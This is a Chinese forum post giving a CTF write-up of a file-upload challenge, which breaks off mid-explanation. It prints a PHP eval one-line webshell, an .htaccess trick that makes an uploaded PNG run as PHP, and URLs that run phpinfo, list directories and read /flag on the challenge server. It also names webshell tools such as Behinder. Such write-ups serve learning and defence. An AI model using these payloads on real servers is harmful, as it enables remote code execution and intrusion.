从CTF真题中学习文件上传漏洞防范与优化

最近,我深入学习CTF(Capture The Flag)领域,从一个初学者的角度尝试复现一些Web漏洞,借鉴了一些高手的思路。

一、文件上传漏洞常规思路

  1. 这是一道文件上传题,通常的思路是上传PNG、GIF等文件,通过抓包进行绕过限制。在探讨文件上传漏洞之前,让我们先了解一些相关知识。文件上传漏洞是指由于程序员未对上传的文件进行严格验证和过滤,导致用户可以绕过权限上传可执行的动态脚本文件,如木马、病毒、恶意脚本或WebShell等。攻击方式直接有效,问题在于文件上传后服务器如何处理、解释文件。如果服务器处理逻辑不安全,将导致严重后果。常见Web上传漏洞解题手法主要分为白名单和黑名单。常用工具:冰蝎、蚁剑、中国菜刀等,以及PHP一句话木马。推荐文件上传靶机:upload-labs
图片[1]-从CTF真题中学习文件上传漏洞防范与优化-山海云端论坛

二.津门杯文件上传WP

方法1:

  1. 在解题过程中,首先使用PHP编写一句话木马,然后将其修改为PNG格式并上传。
  2. 发现可以上传,但没有解析。
  3. 查看页面源码,发现隐藏的src。
  4. 查看响应包,发现直接302了。说明注入和常规文件上传思路都行不通!
  5. 从源码入手,发现不能注入,也不能绕过上传。
  6. 发现了这个PHP规则,经过百度后发现先知一位大佬写了:<Directory ~ “/var/www/html/upload/[a-f0-9]{32}/”> php_flag engine off </Directory>

三、解题思路(1)

  1. 开始构造文件上传文件。
  2. 新建.htaccess文件,内容为:<FilesMatch “1.png”> SetHandler application/x-httpd-phpphp_flag engine on </FilesMatch>
  3. 新建1.png文件,进行文件上传。<?php eval($_GET[‘cmd’]);?>
  4. 先上传.htaccess文件,然后再上传.png文件,上传的PNG文件将会被解析。
  5. 上传.htaccess文件。通过Burp抓包,可以看到上传情况。
  6. 上传PNG文件。
  7. 找到上传图片的路径:<img src=”upload/e8be345643e019844763188240c38377/1.png”>
  8. 读文件:http://122.112.248.222:20003/upload/e6a96d9444d3a938319f35616e5d1add/1.png上传成功,解析。
  9. 读取PHP信息:http://122.112.248.222:20003/upload/e6a96d9444d3a938319f35616e5d1add/1.png?cmd=phpinfo();
  10. 扫描目录:http://122.112.248.222:20003/upload/e6a96d9444d3a938319f35616e5d1add/1.png?cmd=var_dump(scandir(“/”));
  11. http://122.112.248.222:20003/upload/e6a96d9444d3a938319f35616e5d1add/1.png?cmd=readfile(“/flag”);

方法2:

使用冰蝎:https://github.com/rebeyond/Behinder

首先访问站点:http://122.112.248.222:20003/

图片[2]-从CTF真题中学习文件上传漏洞防范与优化-山海云端论坛

由于配置文件中使用<directory>禁止了upload沙盒解析,因此需要上传.htaccess,随便选择一个文件,通过Burp抓包修改参数如下:

图片[3]-从CTF真题中学习文件上传漏洞防范与优化-山海云端论坛
图片[4]-从CTF真题中学习文件上传漏洞防范与优化-山海云端论坛

解释一下,将文件名和文件内容修改为.htaccess还不够

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容